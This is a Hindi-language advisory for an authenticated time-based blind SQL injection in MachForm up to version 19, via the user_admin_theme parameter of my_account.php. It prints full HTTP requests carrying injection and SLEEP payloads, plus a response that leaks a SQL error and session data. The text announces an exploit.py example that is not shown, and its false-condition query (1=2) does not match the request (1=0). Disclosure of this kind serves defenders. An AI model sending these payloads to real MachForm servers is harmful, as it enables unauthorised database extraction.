
मशीनफॉर्म v19 तक प्रमाणित ब्लाइंड SQL इंजेक्शन के लिए एक्सप्लॉइट स्क्रिप्ट, जो my_account.php एंडपॉइंट से डेटाबेस जानकारी निकालने के लिए समय-आधारित तकनीकों का उपयोग करती है।
MachForm संस्करण 19 तक एक प्रमाणित ब्लाइंड SQL इंजेक्शन से प्रभावित है जो उपयोगकर्ता खाता सेटिंग्स पृष्ठ में पाया जाता है।
SQL इंजेक्शन हमलों में क्लाइंट एप्लिकेशन से इनपुट डेटा फ़ील्ड के उपयोग के माध्यम से SQL क्वेरी सम्मिलित करना शामिल है। इस प्रकार का हमला डेटाबेस तक पहुंच प्राप्त करने की अनुमति देता है जो आगे चलकर मौजूदा डेटा के निष्कर्षण, संशोधन या विलोपन का कारण बन सकता है।
ब्लाइंड SQL इंजेक्शन एक विशिष्ट प्रकार का हमला है जहां हमलावर को पूर्ण क्वेरी परिणाम प्राप्त नहीं होता बल्कि केवल सही या गलत प्रश्न पूछने में सक्षम होता है; यह डेटाबेस प्रतिक्रिया में देरी उत्पन्न करने के लिए स्लीप फ़ंक्शन या त्रुटि स्थितियों को प्रेरित करने के माध्यम से प्राप्त किया जा सकता है।
my_account.php संसाधन में user_admin_theme पैरामीटर SQL इंजेक्शन के लिए संवेदनशील है।

अनुरोध:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
प्रतिक्रिया:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
इसका शोषण समय-आधारित हमले का उपयोग करके किया जा सकता है, जहां स्लीप स्थिति का उपयोग किया जाता है और यह सत्यापित किया जाता है कि अनुरोधित क्वेरी परिणाम के आधार पर प्रतिक्रिया विलंब बदलता है या नहीं।
क्वेरी:
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
हमेशा सत्य स्थिति का उपयोग करके, एप्लिकेशन की प्रतिक्रिया 2000ms से अधिक समय लेती है।

अनुरोध:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
क्वेरी:
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
इसके बजाय हमेशा असत्य स्थिति का उपयोग करने पर, एप्लिकेशन की प्रतिक्रिया लगभग तुरंत आती है।

अनुरोध:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
इस भेद्यता का शोषण एक सरल स्क्रिप्ट का उपयोग करके किया जा सकता है जो प्रतिक्रिया समय का मूल्यांकन करती है ताकि यह समझा जा सके कि इनपुट की गई क्वेरी का परिणाम सत्य था या असत्य।
नीचे, exploit.py का उपयोग करके डेटाबेस के वर्तमान उपयोगकर्ता को पुनः प्राप्त करने का एक उदाहरण दिया गया है।
